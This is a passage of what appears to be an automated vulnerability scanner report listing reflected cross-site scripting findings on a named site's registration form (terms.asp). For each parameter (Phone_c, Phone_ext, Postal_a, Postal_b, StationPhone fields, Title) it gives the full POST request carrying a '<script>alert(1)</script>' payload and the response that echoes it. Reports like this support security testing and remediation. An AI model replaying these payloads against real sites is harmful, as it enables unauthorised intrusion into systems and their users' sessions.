FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27c4284<script>alert(1)</script>edf488f0671&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:36 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;'-'-'c4284<script>alert(1)</script>edf488f0671</td>
...[SNIP]...

2.25. http://www.bnhotwire.com/register/terms.asp [Phone_c parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75a34"><script>alert(1)</script>94717edf054 was submitted in the Phone_c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%2775a34"><script>alert(1)</script>94717edf054&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:35 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Phone_a" value= "'-'-'75a34"><script>alert(1)</script>94717edf054">
...[SNIP]...

2.26. http://www.bnhotwire.com/register/terms.asp [Phone_ext parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_ext request parameter is copied into the HTML document as plain text between tags. The payload 3d2c2<script>alert(1)</script>c16078b21a4 was submitted in the Phone_ext parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=3d2c2<script>alert(1)</script>c16078b21a4&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:40 GMT
Content-Length: 6647
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;'-'-' ext. 3d2c2<script>alert(1)</script>c16078b21a4</td>
...[SNIP]...

2.27. http://www.bnhotwire.com/register/terms.asp [Phone_ext parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Phone_ext request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b711"><script>alert(1)</script>10636178955 was submitted in the Phone_ext parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=3b711"><script>alert(1)</script>10636178955&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:39 GMT
Content-Length: 6651
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Phone_a" value= "'-'-' ext. 3b711"><script>alert(1)</script>10636178955">
...[SNIP]...

2.28. http://www.bnhotwire.com/register/terms.asp [Postal_a parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Postal_a request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0ea5"><script>alert(1)</script>8adc79aea8 was submitted in the Postal_a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27e0ea5"><script>alert(1)</script>8adc79aea8&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:15 GMT
Content-Length: 6637
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Postal_a" value= "''e0ea5"><script>alert(1)</script>8adc79aea8 ''">
...[SNIP]...

2.29. http://www.bnhotwire.com/register/terms.asp [Postal_a parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Postal_a request parameter is copied into the HTML document as plain text between tags. The payload e1e75<script>alert(1)</script>f88550e62d9 was submitted in the Postal_a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27e1e75<script>alert(1)</script>f88550e62d9&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:17 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;''e1e75<script>alert(1)</script>f88550e62d9 ''</td>
...[SNIP]...

2.30. http://www.bnhotwire.com/register/terms.asp [Postal_b parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Postal_b request parameter is copied into the HTML document as plain text between tags. The payload e548c<script>alert(1)</script>dca29eac3ef was submitted in the Postal_b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27e548c<script>alert(1)</script>dca29eac3ef&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:20 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;'' ''e548c<script>alert(1)</script>dca29eac3ef</td>
...[SNIP]...

2.31. http://www.bnhotwire.com/register/terms.asp [Postal_b parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Postal_b request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7c9c"><script>alert(1)</script>3ce61942f30 was submitted in the Postal_b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27c7c9c"><script>alert(1)</script>3ce61942f30&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:19 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Postal_a" value= "'' ''c7c9c"><script>alert(1)</script>3ce61942f30">
...[SNIP]...

2.32. http://www.bnhotwire.com/register/terms.asp [StationPhone_a parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the StationPhone_a request parameter is copied into the HTML document as plain text between tags. The payload 73c83<script>alert(1)</script>8ebb24ca778 was submitted in the StationPhone_a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=73c83<script>alert(1)</script>8ebb24ca778&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:26 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;73c83<script>alert(1)</script>8ebb24ca778--</td>
...[SNIP]...

2.33. http://www.bnhotwire.com/register/terms.asp [StationPhone_a parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the StationPhone_a request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a939"><script>alert(1)</script>ed26218e4bb was submitted in the StationPhone_a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=8a939"><script>alert(1)</script>ed26218e4bb&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:25 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="StationPhone_a" value= "8a939"><script>alert(1)</script>ed26218e4bb--">
...[SNIP]...

2.34. http://www.bnhotwire.com/register/terms.asp [StationPhone_b parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the StationPhone_b request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3bfa"><script>alert(1)</script>890dcd86eae was submitted in the StationPhone_b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=d3bfa"><script>alert(1)</script>890dcd86eae&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:28 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="StationPhone_a" value= "-d3bfa"><script>alert(1)</script>890dcd86eae-">
...[SNIP]...

2.35. http://www.bnhotwire.com/register/terms.asp [StationPhone_b parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the StationPhone_b request parameter is copied into the HTML document as plain text between tags. The payload d85a0<script>alert(1)</script>ddfd2372d76 was submitted in the StationPhone_b parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=d85a0<script>alert(1)</script>ddfd2372d76&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:30 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;-d85a0<script>alert(1)</script>ddfd2372d76-</td>
...[SNIP]...

2.36. http://www.bnhotwire.com/register/terms.asp [StationPhone_c parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the StationPhone_c request parameter is copied into the HTML document as plain text between tags. The payload 62ca4<script>alert(1)</script>1ec612abf7d was submitted in the StationPhone_c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=62ca4<script>alert(1)</script>1ec612abf7d&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:34 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;--62ca4<script>alert(1)</script>1ec612abf7d</td>
...[SNIP]...

2.37. http://www.bnhotwire.com/register/terms.asp [StationPhone_c parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the StationPhone_c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b023"><script>alert(1)</script>e88ae70fbe8 was submitted in the StationPhone_c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=9b023"><script>alert(1)</script>e88ae70fbe8&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:33 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="StationPhone_a" value= "--9b023"><script>alert(1)</script>e88ae70fbe8">
...[SNIP]...

2.38. http://www.bnhotwire.com/register/terms.asp [Title parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Title request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c478"><script>alert(1)</script>53589a3be5d was submitted in the Title parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

